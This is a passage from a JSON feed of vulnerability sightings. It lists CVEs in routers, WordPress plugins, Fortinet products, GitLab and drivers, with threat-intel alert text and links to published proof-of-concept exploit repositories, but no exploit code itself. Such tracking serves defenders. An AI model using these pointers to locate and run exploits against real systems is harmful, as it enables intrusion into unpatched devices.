\u043c\u0438\u0440\u0443. \u042d\u043a\u0441\u043f\u0435\u0440\u0442\u044b \u043d\u0430\u0441\u0442\u043e\u044f\u0442\u0435\u043b\u044c\u043d\u043e \u0440\u0435\u043a\u043e\u043c\u0435\u043d\u0434\u0443\u044e\u0442 \u0440\u0435\u0433\u0443\u043b\u044f\u0440\u043d\u043e \u043e\u0431\u043d\u043e\u0432\u043b\u044f\u0442\u044c \u043f\u0440\u043e\u0448\u0438\u0432\u043a\u0443 \u0443\u0441\u0442\u0440\u043e\u0439\u0441\u0442\u0432 \u0438 \u0432\u043d\u0435\u0434\u0440\u044f\u0442\u044c \u043f\u043e\u0441\u0442\u043e\u044f\u043d\u043d\u044b\u0439 \u043c\u043e\u043d\u0438\u0442\u043e\u0440\u0438\u043d\u0433 \u0441\u0435\u0442\u0435\u0432\u043e\u0439 \u0430\u043a\u0442\u0438\u0432\u043d\u043e\u0441\u0442\u0438.\n\n\ud83d\udd14 ITsec NEWS", "creation_timestamp": "2024-12-27T17:27:32.000000Z"}, {"uuid": "e229ca36-b5d7-494b-a357-258c86204745", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-33112", "type": "published-proof-of-concept", "source": "https://t.me/DarkWebInformer_CVEAlerts/173", "content": "\ud83d\udd17 DarkWebInformer.com - Cyber Threat Intelligence\n\ud83d\udccc CVE ID: GHSA-q9cc-2q3j-jfm7\n\ud83d\udd17 Aliases: CVE-2024-33112\n\ud83d\udd39 Details: D-Link DIR-845L router v1.01KRb03 and before is vulnerable to Command injection via the hnap_main()func.\n\ud83d\udd22 Severity: CVSS_V3: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H\n\ud83d\uddd3\ufe0f Modified: 2025-01-06T15:30:58Z\n\ud83d\uddd3\ufe0f Published: 2024-05-06T15:30:39Z\n\ud83c\udff7\ufe0f CWE IDs: CWE-77, CWE-78\n\ud83d\udd17 References:\n1. https://nvd.nist.gov/vuln/detail/CVE-2024-33112\n2. https://github.com/yj94/Yj_learning/blob/b59925953d8bbb286a63f0019bb54c161cb61/Week16/-LINK-POC.md\n3. https://github.com/yj94/Yj_learning/blob/main/Week16/-LINK-POC.md", "creation_timestamp": "2025-01-06T15:38:19.000000Z"}, {"uuid": "fbcd3d61-30e6-45df-9bea-725ba7ed5d95", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-3365", "type": "seen", "source": "Telegram/M5Dp39ouNGShbpmDumHkhSQsyOHqO3Zaa2sLwx4HHwwu0Aw-", "content": "", "creation_timestamp": "2025-02-14T10:01:37.000000Z"}, {"uuid": "67a7e136-2b92-4493-a4bb-1dd13fe8dbcb", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-3364", "type": "seen", "source": "Telegram/LbCBeJaEAzRGOv0uCd2e6uIyCV9ZgXmx5q2d5-60jy12NE3O", "content": "", "creation_timestamp": "2025-02-14T10:01:37.000000Z"}, {"uuid": "d95b3a24-c6f1-4601-84a9-a99ad7375931", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-3362", "type": "seen", "source": "Telegram/nd5r8rXIG3F_RcfYtp7HvauxVwQSExER7m6Ep1r7zurpngo2", "content": "", "creation_timestamp": "2025-02-14T10:01:37.000000Z"}, {"uuid": "097e3bde-2203-4ddc-b8cd-ea99c087aa8b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-3361", "type": "seen", "source": "Telegram/qhySwuVX5H35pYGqk5WBokb4leQ8b0F7150080NV5USSkxLs", "content": "", "creation_timestamp": "2025-02-14T10:01:37.000000Z"}, {"uuid": "57d70548-f818-4926-a028-665f1b1ddccf", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-3360", "type": "seen", "source": "Telegram/7F7jkhsZ-HKh3YhmEA4wP46VK1VFRx4DOp71PlhiYaGSDCGj", "content": "", "creation_timestamp": "2025-02-14T10:01:37.000000Z"}, {"uuid": "1ed69b6c-daf9-4878-861d-1c7afba8ed6b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-33112", "type": "published-proof-of-concept", "source": "https://t.me/DarkWebInformer_CVEAlerts/347", "content": "\ud83d\udd17 DarkWebInformer.com - Cyber Threat Intelligence\n\ud83d\udccc CVE ID: CVE-2024-33112\n\ud83d\udd39 Description: D-Link DIR-845L router v1.01KRb03 and before is vulnerable to Command injection via the hnap_main()func.\n\ud83d\udccf Published: 2024-05-06T00:00:00\n\ud83d\udccf Modified: 2025-01-07T04:56:28.910Z\n\ud83d\udd17 References:\n1. https://github.com/yj94/Yj_learning/blob/main/Week16/D-LINK-POC.md\n2. https://github.com/yj94/Yj_learning/blob/b597925953d8bbb286a63f0019bb547c1617cb61/Week16/D-LINK-POC.md", "creation_timestamp": "2025-01-07T05:39:24.000000Z"}, {"uuid": "150ebd55-3cce-433d-bce9-423a313ca6fb", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-33297", "type": "published-proof-of-concept", "source": "https://t.me/DarkWebInformer_CVEAlerts/1219", "content": "\ud83d\udd17 DarkWebInformer.com - Cyber Threat Intelligence\n\ud83d\udccc CVE ID: CVE-2024-33297\n\ud83d\udd39 Description: Cross Site Scripting vulnerability in Microweber v.2.0.9 allows a remote attacker to execute arbitrary code via the campaign Name (Internal Name) field in the Add new campaign function\n\ud83d\udccf Published: 2025-01-10T00:00:00\n\ud83d\udccf Modified: 2025-01-10T19:28:43.525161\n\ud83d\udd17 References:\n1. https://github.com/MathSabo/CVE-2024-33297", "creation_timestamp": "2025-01-10T20:07:22.000000Z"}, {"uuid": "b2678dbd-de4f-46f1-92c0-d91b93904a01", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-33298", "type": "published-proof-of-concept", "source": "https://t.me/DarkWebInformer_CVEAlerts/1218", "content": "\ud83d\udd17 DarkWebInformer.com - Cyber Threat Intelligence\n\ud83d\udccc CVE ID: CVE-2024-33298\n\ud83d\udd39 Description: Microweber Cross Site Scripting vulnerability in Microweber v.2.0.9 allows a remote attacker to execute arbitrary code via the create new backup function in the endpoint /admin/module/view?type=admin__backup\n\ud83d\udccf Published: 2025-01-10T00:00:00\n\ud83d\udccf Modified: 2025-01-10T19:30:48.524363\n\ud83d\udd17 References:\n1. https://github.com/MathSabo/CVE-2024-33298", "creation_timestamp": "2025-01-10T20:07:18.000000Z"}, {"uuid": "fb8a1f44-83e8-4596-b750-188df2ddd23e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-33299", "type": "published-proof-of-concept", "source": "https://t.me/DarkWebInformer_CVEAlerts/1217", "content": "\ud83d\udd17 DarkWebInformer.com - Cyber Threat Intelligence\n\ud83d\udccc CVE ID: CVE-2024-33299\n\ud83d\udd39 Description: Cross Site Scripting vulnerability in Microweber v.2.0.9 allows a remote attacker to execute arbitrary code via the First Name and Last Name parameters in the endpoint /admin/module/view?type=users\n\ud83d\udccf Published: 2025-01-10T00:00:00\n\ud83d\udccf Modified: 2025-01-10T19:32:30.728348\n\ud83d\udd17 References:\n1. https://github.com/MathSabo/CVE-2024-33299", "creation_timestamp": "2025-01-10T20:07:16.000000Z"}, {"uuid": "3c04bf6b-fb36-43f0-8c97-1f0c1d7b511a", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-33503", "type": "seen", "source": "https://t.me/DarkWebInformer_CVEAlerts/1620", "content": "\ud83d\udd17 DarkWebInformer.com - Cyber Threat Intelligence\n\ud83d\udccc CVE ID: CVE-2024-33503\n\ud83d\udd39 Description: A improper privilege management in Fortinet FortiManager version 7.4.0 through 7.4.3, 7.2.0 through 7.2.5, 7.0.0 through 7.0.12, 6.4.0 through 6.4.14, FortiAnalyzer version 7.4.0 through 7.4.2, 7.2.0 through 7.2.5, 7.0.0 through 7.0.12, 6.4.0 through 6.4.14 allows attacker to escalation of privilege via specific shell commands\n\ud83d\udccf Published: 2025-01-14T14:09:33.613Z\n\ud83d\udccf Modified: 2025-01-14T20:54:57.869Z\n\ud83d\udd17 References:\n1. https://fortiguard.fortinet.com/psirt/FG-IR-24-127", "creation_timestamp": "2025-01-14T21:11:48.000000Z"}, {"uuid": "e5fd1c59-f42c-413d-99d7-1f152b2ae7c7", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-33502", "type": "seen", "source": "https://t.me/DarkWebInformer_CVEAlerts/1771", "content": "\ud83d\udd17 DarkWebInformer.com - Cyber Threat Intelligence\n\ud83d\udccc CVE ID: CVE-2024-33502\n\ud83d\udd39 Description: An improper limitation of a pathname to a restricted directory ('path traversal') in Fortinet FortiManager, FortiAnalyzer versions 7.4.0 through 7.4.2 and 7.2.0 through 7.2.5 and 7.0.0 through 7.0.12 and 6.4.0 through 6.4.14 and 6.2.0 through 6.2.12 and 6.0.0 through 6.0.12 allows attacker to execute unauthorized code or commands via crafted HTTP or HTTPs requests.\n\ud83d\udccf Published: 2025-01-14T14:09:50.493Z\n\ud83d\udccf Modified: 2025-01-15T14:54:27.861Z\n\ud83d\udd17 References:\n1. https://fortiguard.fortinet.com/psirt/FG-IR-24-143", "creation_timestamp": "2025-01-15T15:10:53.000000Z"}, {"uuid": "9edcc0b0-60fc-462a-b4da-74c29ddec26d", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-3356", "type": "seen", "source": "Telegram/42JpuknQZO8nnXiIBaZP6i4n2tfwpAZBBYQVPZ8USJ-orFfT", "content": "", "creation_timestamp": "2025-02-14T10:01:40.000000Z"}, {"uuid": "5caef18d-17b5-4473-ae0e-e0b78690ecce", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-3355", "type": "seen", "source": "Telegram/jYF03DS7IBNUp47LQstMPgcyOFurGDrl68-vaAXq4sZzpwXO", "content": "", "creation_timestamp": "2025-02-14T10:01:40.000000Z"}, {"uuid": "a0d55856-53f0-4bf6-876d-4d8eabb4c111", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-3354", "type": "seen", "source": "Telegram/Chi9bdjRErctd-f8HyNVy6_wMwXSF_5A9CsnKQfxmeDPLMMl", "content": "", "creation_timestamp": "2025-02-14T10:01:40.000000Z"}, {"uuid": "088f7485-6ff9-4946-9656-c1a3f7f6f066", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-3352", "type": "seen", "source": "Telegram/J91uX7Yssvqyg2m13CSVJNyXnXdQ-4TG4TaWVM5zRMLB6KOp", "content": "", "creation_timestamp": "2025-02-14T10:01:40.000000Z"}, {"uuid": "d3acb3d7-788a-47e2-9a54-079c5f384cab", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-3351", "type": "seen", "source": "Telegram/YpSlW9Q3gWvqOjrDjhBJNBMljeMewOqmOMz1Z9EiPH3GjD64", "content": "", "creation_timestamp": "2025-02-14T10:01:40.000000Z"}, {"uuid": "8d6e8374-6bd5-4e52-83c9-e04f5cd61996", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-3350", "type": "seen", "source": "Telegram/NHaetfsXAWV-ysWI7vilrQ9aDE5s__50AtKYNE4LkPBHHHYk", "content": "", "creation_timestamp": "2025-02-14T10:01:40.000000Z"}, {"uuid": "40192ac1-3272-4bf4-8f87-568b3c2f2fd6", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-3349", "type": "seen", "source": "Telegram/nI7qsW7cl1iwXxO2PO-UR6LVq2OzwnnHiZhZp1wIpNcBOj3a", "content": "", "creation_timestamp": "2025-02-14T10:01:40.000000Z"}, {"uuid": "4b7ce6d8-589b-4ac6-90af-82ad237441c6", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-3348", "type": "seen", "source": "Telegram/xorbuWjrNZyz04_MfBdm0OhVk2R1Cn1DwTbjHORzH6y5Z9Re", "content": "", "creation_timestamp": "2025-02-14T10:01:40.000000Z"}, {"uuid": "9fdda045-b502-4113-b4b8-171448b44d00", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-33469", "type": "published-proof-of-concept", "source": "https://t.me/DarkWebInformer_CVEAlerts/3966", "content": "\ud83d\udd17 DarkWebInformer.com - Cyber Threat Intelligence\n\ud83d\udccc CVE ID: CVE-2024-33469\n\ud83d\udd25 CVSS Score: N/A\n\ud83d\udd39 Description: An issue in Team Amaze Amaze File Manager v.3.8.5 and fixed in v.3.10 allows a local attacker to execute arbitrary code via the onCreate method of DatabaseViewerActivity.java.\n\ud83d\udccf Published: 2025-02-12T00:32:16Z\n\ud83d\udccf Modified: 2025-02-12T00:32:16Z\n\ud83d\udd17 References:\n1. https://nvd.nist.gov/vuln/detail/CVE-2024-33469\n2. https://github.com/blackbeard666/security-research/tree/main/CVE-2024-33469\n3. https://huntr.com/bounties/981c1cb3-d1e7-4f5c-8a24-155662d33787", "creation_timestamp": "2025-02-12T01:10:20.000000Z"}, {"uuid": "08d43a3d-477c-4a97-ae78-4533890277c5", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-33438", "type": "published-proof-of-concept", "source": "https://t.me/GithubRedTeam/7163", "content": "GitHub\u76d1\u63a7\u6d88\u606f\u63d0\u9192\uff01\uff01\uff01 \n\n\u66f4\u65b0\u4e86\uff1aCVE-2024\n\u63cf\u8ff0\uff1aCubeCart <= 6.5.4 is vulnerable to an arbitrary file upload that leads to remote code execution (RCE).\nURL\uff1ahttps://github.com/julio-cfa/CVE-2024-33438\n\n\u6807\u7b7e\uff1a#CVE-2024", "creation_timestamp": "2024-04-24T16:33:49.000000Z"}, {"uuid": "6fea563c-bbf7-4c24-be99-f400f3563dc3", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-3303", "type": "published-proof-of-concept", "source": "https://t.me/DarkWebInformer_CVEAlerts/4225", "content": "\ud83d\udd17 DarkWebInformer.com - Cyber Threat Intelligence\n\ud83d\udccc CVE ID: CVE-2024-3303\n\ud83d\udd25 CVSS Score: 6.4 (CVSS_V3)\n\ud83d\udd39 Description: An issue was discovered in GitLab EE affecting all versions starting from 16.0 prior to 17.6.5, starting from 17.7 prior to 17.7.4, and starting from 17.8 prior to 17.8.2, which allows an attacker to exfiltrate contents of a private issue using prompt injection.\n\ud83d\udccf Published: 2025-02-13T09:31:26Z\n\ud83d\udccf Modified: 2025-02-13T09:31:26Z\n\ud83d\udd17 References:\n1. https://nvd.nist.gov/vuln/detail/CVE-2024-3303\n2. https://hackerone.com/reports/2418620\n3. https://gitlab.com/gitlab-org/gitlab/-/issues/454460", "creation_timestamp": "2025-02-13T10:09:06.000000Z"}, {"uuid": "16e41003-59e6-46c5-9efb-adeb120040d1", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-33722", "type": "published-proof-of-concept", "source": "https://t.me/GithubRedTeam/7227", "content": "GitHub\u76d1\u63a7\u6d88\u606f\u63d0\u9192\uff01\uff01\uff01 \n\n\u66f4\u65b0\u4e86\uff1aCVE-2024\n\u63cf\u8ff0\uff1aSOPlanning 1.52.00 CSRF/SQLi/XSS (CVE-2024-33722, CVE-2024-33724)\nURL\uff1ahttps://github.com/fuzzlove/soplanning-1.52-exploits\n\n\u6807\u7b7e\uff1a#CVE-2024", "creation_timestamp": "2024-05-09T10:19:03.000000Z"}, {"uuid": "5af9b2e8-d3ca-4c73-853e-5e7809a16317", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-33601", "type": "seen", "source": "https://t.me/DarkWebInformer_CVEAlerts/4930", "content": "\ud83d\udd17 DarkWebInformer.com - Cyber Threat Intelligence\n\ud83d\udccc CVE ID: CVE-2024-33601\n\ud83d\udd25 CVSS Score: N/A\n\ud83d\udd39 Description: nscd: netgroup cache may terminate daemon on memory allocation failure\n\nThe Name Service Cache Daemon's (nscd) netgroup cache uses xmalloc or\nxrealloc and these functions may terminate the process due to a memory\nallocation failure resulting in a denial of service to the clients.  The\nflaw was introduced in glibc 2.15 when the cache was added to nscd.\n\nThis vulnerability is only present in the nscd binary.\n\ud83d\udccf Published: 2024-05-06T19:22:07.763Z\n\ud83d\udccf Modified: 2025-02-21T16:58:43.843Z\n\ud83d\udd17 References:\n1. https://sourceware.org/git/?p=glibc.git;a=blob;f=advisories/GLIBC-SA-2024-0007\n2. https://security.netapp.com/advisory/ntap-20240524-0014/\n3. https://lists.debian.org/debian-lts-announce/2024/06/msg00026.html\n4. http://www.openwall.com/lists/oss-security/2024/07/22/5", "creation_timestamp": "2025-02-21T17:18:29.000000Z"}, {"uuid": "db42e9cf-45ef-4967-9466-985ea9a23cac", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-33724", "type": "published-proof-of-concept", "source": "https://t.me/GithubRedTeam/7227", "content": "GitHub\u76d1\u63a7\u6d88\u606f\u63d0\u9192\uff01\uff01\uff01 \n\n\u66f4\u65b0\u4e86\uff1aCVE-2024\n\u63cf\u8ff0\uff1aSOPlanning 1.52.00 CSRF/SQLi/XSS (CVE-2024-33722, CVE-2024-33724)\nURL\uff1ahttps://github.com/fuzzlove/soplanning-1.52-exploits\n\n\u6807\u7b7e\uff1a#CVE-2024", "creation_timestamp": "2024-05-09T10:19:03.000000Z"}, {"uuid": "c293de73-4487-451a-93b9-17ab106f6cfa", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-33554", "type": "seen", "source": "Telegram/EpD1vRUQzW1Io8gSO0xtYh5IcXZP0UwleqYkRfuwNSvrfRxn", "content": "", "creation_timestamp": "2025-02-21T22:10:26.000000Z"}, {"uuid": "ca485c18-7a6d-43f3-8195-fc9df42c6a1f", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-33568", "type": "published-proof-of-concept", "source": "https://t.me/DarkWebInformer_CVEAlerts/5483", "content": "\ud83d\udd17 DarkWebInformer.com - Cyber Threat Intelligence\n\ud83d\udccc CVE ID: CVE-2024-33568\n\ud83d\udd25 CVSS Score: 8.5 (cvssV3_1, Vector: CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:C/C:H/I:H/A:H)\n\ud83d\udd39 Description: Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal'), Deserialization of Untrusted Data vulnerability in BdThemes Element Pack Pro allows Path Traversal, Object Injection.This issue affects Element Pack Pro: from n/a before 7.19.3.\n\ud83d\udccf Published: 2024-06-04T13:12:10.673Z\n\ud83d\udccf Modified: 2025-02-26T12:04:51.830Z\n\ud83d\udd17 References:\n1. https://patchstack.com/database/vulnerability/bdthemes-element-pack/wordpress-element-pack-pro-plugin-7-7-4-arbitrary-file-read-and-phar-deserialization-vulnerability?_s_id=cve", "creation_timestamp": "2025-02-26T12:31:47.000000Z"}, {"uuid": "97d0333c-a07f-49c2-8e07-4ee9ee9bf4aa", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-3307", "type": "seen", "source": "https://t.me/DarkWebInformer_CVEAlerts/6918", "content": "\ud83d\udd17 DarkWebInformer.com - Cyber Threat Intelligence\n\ud83d\udccc CVE ID: CVE-2025-1261\n\ud83d\udd25 CVSS Score: 6.4 (cvssV3_1, Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:N)\n\ud83d\udd39 Description: The HT Mega \u2013 Absolute Addons For Elementor plugin for WordPress is vulnerable to DOM-Based Stored Cross-Site Scripting via the plugin's Countdown widget in all versions up to, and including, 2.8.2 due to insufficient input sanitization and output escaping on user supplied attributes. This makes it possible for authenticated attackers, with contributor-level access and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page. NOTE: This vulnerability exists due to an incomplete fix for CVE-2024-3307.\n\ud83d\udccf Published: 2025-03-08T01:44:27.321Z\n\ud83d\udccf Modified: 2025-03-08T01:44:27.321Z\n\ud83d\udd17 References:\n1. https://www.wordfence.com/threat-intel/vulnerabilities/id/e553135d-88e0-4840-99ad-9514c2243b7d?source=cve\n2. https://plugins.trac.wordpress.org/changeset/3249106/ht-mega-for-elementor/tags/2.8.3/assets/js/htmega-widgets-active.js", "creation_timestamp": "2025-03-08T02:35:31.000000Z"}, {"uuid": "a463dc53-d8d0-4fab-97cf-7361e4072028", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-33895", "type": "published-proof-of-concept", "source": "https://t.me/DarkWebInformer_CVEAlerts/7430", "content": "\ud83d\udd17 DarkWebInformer.com - Cyber Threat Intelligence\n\ud83d\udccc CVE ID: CVE-2024-33895\n\ud83d\udd25 CVSS Score: N/A\n\ud83d\udd39 Description: Cosy+ devices running a firmware 21.x below 21.2s10 or a firmware 22.x below 22.1s3 use a unique key to encrypt the configuration parameters. This is fixed in version 21.2s10 and 22.1s3, the key is now unique per device.\n\ud83d\udccf Published: 2024-08-02T00:00:00.000Z\n\ud83d\udccf Modified: 2025-03-13T16:25:37.955Z\n\ud83d\udd17 References:\n1. https://www.ewon.biz/products/cosy/ewon-cosy-wifi\n2. https://www.hms-networks.com/cyber-security\n3. https://hmsnetworks.blob.core.windows.net/nlw/docs/default-source/products/cybersecurity/security-advisory/hms-security-advisory-2024-07-29-001--ewon-several-cosy--vulnerabilities.pdf\n4. https://blog.syss.com/posts/hacking-a-secure-industrial-remote-access-gateway/", "creation_timestamp": "2025-03-13T16:45:26.000000Z"}, {"uuid": "bfd34310-f095-4d5a-961f-666935aba6af", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-33222", "type": "published-proof-of-concept", "source": "https://t.me/DarkWebInformer_CVEAlerts/7468", "content": "\ud83d\udd17 DarkWebInformer.com - Cyber Threat Intelligence\n\ud83d\udccc CVE ID: CVE-2024-33222\n\ud83d\udd25 CVSS Score: N/A\n\ud83d\udd39 Description: An issue in the component ATSZIO64.sys of ASUSTeK Computer Inc ASUS ATSZIO Driver v0.2.1.7 allows attackers to escalate privileges and execute arbitrary code via sending crafted IOCTL requests.\n\ud83d\udccf Published: 2024-05-22T15:08:03.307Z\n\ud83d\udccf Modified: 2025-03-13T18:33:00.181Z\n\ud83d\udd17 References:\n1. https://github.com/DriverHunter/Win-Driver-EXP/tree/main/CVE-2024-33222", "creation_timestamp": "2025-03-13T18:42:30.000000Z"}, {"uuid": "84d3ea87-19ee-4b71-b3d1-378ac7b1a951", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-33844", "type": "published-proof-of-concept", "source": "https://t.me/DarkWebInformer_CVEAlerts/7498", "content": "\ud83d\udd17 DarkWebInformer.com - Cyber Threat Intelligence\n\ud83d\udccc CVE ID: CVE-2024-33844\n\ud83d\udd25 CVSS Score: N/A\n\ud83d\udd39 Description: The 'control' in Parrot ANAFI USA firmware 1.10.4 does not check the MAV_MISSION_TYPE(0, 1, 2, 255), which allows attacker to cut off the connection between a controller and the drone by sending MAVLink MISSION_COUNT command with a wrong MAV_MISSION_TYPE.\n\ud83d\udccf Published: 2024-05-03T00:00:00.000Z\n\ud83d\udccf Modified: 2025-03-13T20:34:02.458Z\n\ud83d\udd17 References:\n1. http://anafi.com\n2. http://nvd-cwe-other.com\n3. https://forum.developer.parrot.com/t/cve-2024-33844-bugs-in-anafi-thermal-usa-firmware/22501\n4. https://forum.developer.parrot.com/t/cve-2024-33844-bugs-in-anafi-thermal-usa-firmware/22501/1", "creation_timestamp": "2025-03-13T20:43:05.000000Z"}, {"uuid": "e72a8540-a603-4007-986c-0879e7a40b80", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-33436", "type": "published-proof-of-concept", "source": "https://t.me/DarkWebInformer_CVEAlerts/7603", "content": "\ud83d\udd17 DarkWebInformer.com - Cyber Threat Intelligence\n\ud83d\udccc CVE ID: CVE-2024-33436\n\ud83d\udd25 CVSS Score: N/A\n\ud83d\udd39 Description: An issue in CSS Exfil Protection v.1.1.0 allows a remote attacker to obtain sensitive information due to missing support for CSS variables\n\ud83d\udccf Published: 2024-04-30T00:00:00.000Z\n\ud83d\udccf Modified: 2025-03-14T17:31:58.811Z\n\ud83d\udd17 References:\n1. https://github.com/mlgualtieri/CSS-Exfil-Protection/issues/41\n2. https://github.com/randshell/vulnerability-research/tree/main/CVE-2024-33436", "creation_timestamp": "2025-03-14T17:48:46.000000Z"}, {"uuid": "c485a77a-ba4b-4d3c-8a90-58d686463d9b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-3368", "type": "seen", "source": "https://t.me/DarkWebInformer_CVEAlerts/7611", "content": "\ud83d\udd17 DarkWebInformer.com - Cyber Threat Intelligence\n\ud83d\udccc CVE ID: CVE-2024-3368\n\ud83d\udd25 CVSS Score: N/A\n\ud83d\udd39 Description: The All in One SEO  WordPress plugin before 4.6.1.1 does not validate and escape some of its Post fields before outputting them back, which could allow users with the contributor role and above to perform Stored Cross-Site Scripting attacks\n\ud83d\udccf Published: 2024-05-20T06:00:01.083Z\n\ud83d\udccf Modified: 2025-03-14T17:20:36.410Z\n\ud83d\udd17 References:\n1. https://wpscan.com/vulnerability/ab78b1a5-e28c-406b-baaf-6d53017f9328/", "creation_timestamp": "2025-03-14T17:48:56.000000Z"}, {"uuid": "f2411b8c-7660-4f8e-a0aa-bb75608912f1", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-33535", "type": "seen", "source": "https://t.me/DarkWebInformer_CVEAlerts/8085", "content": "\ud83d\udd17 DarkWebInformer.com - Cyber Threat Intelligence\n\ud83d\udccc CVE ID: CVE-2024-33535\n\ud83d\udd25 CVSS Score: N/A\n\ud83d\udd39 Description: An issue was discovered in Zimbra Collaboration (ZCS) 9.0 and 10.0. The vulnerability involves unauthenticated local file inclusion (LFI) in a web application, specifically impacting the handling of the packages parameter. Attackers can exploit this flaw to include arbitrary local files without authentication, potentially leading to unauthorized access to sensitive information. The vulnerability is limited to files within a specific directory.\n\ud83d\udccf Published: 2024-08-12T00:00:00.000Z\n\ud83d\udccf Modified: 2025-03-19T15:58:06.291Z\n\ud83d\udd17 References:\n1. https://wiki.zimbra.com/wiki/Zimbra_Releases/10.0.8#Security_Fixes\n2. https://wiki.zimbra.com/wiki/Zimbra_Releases/9.0.0/P40#Security_Fixes", "creation_timestamp": "2025-03-19T16:18:07.000000Z"}, {"uuid": "9b2baeb8-3649-4ca9-a6d0-3b301b87403b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", 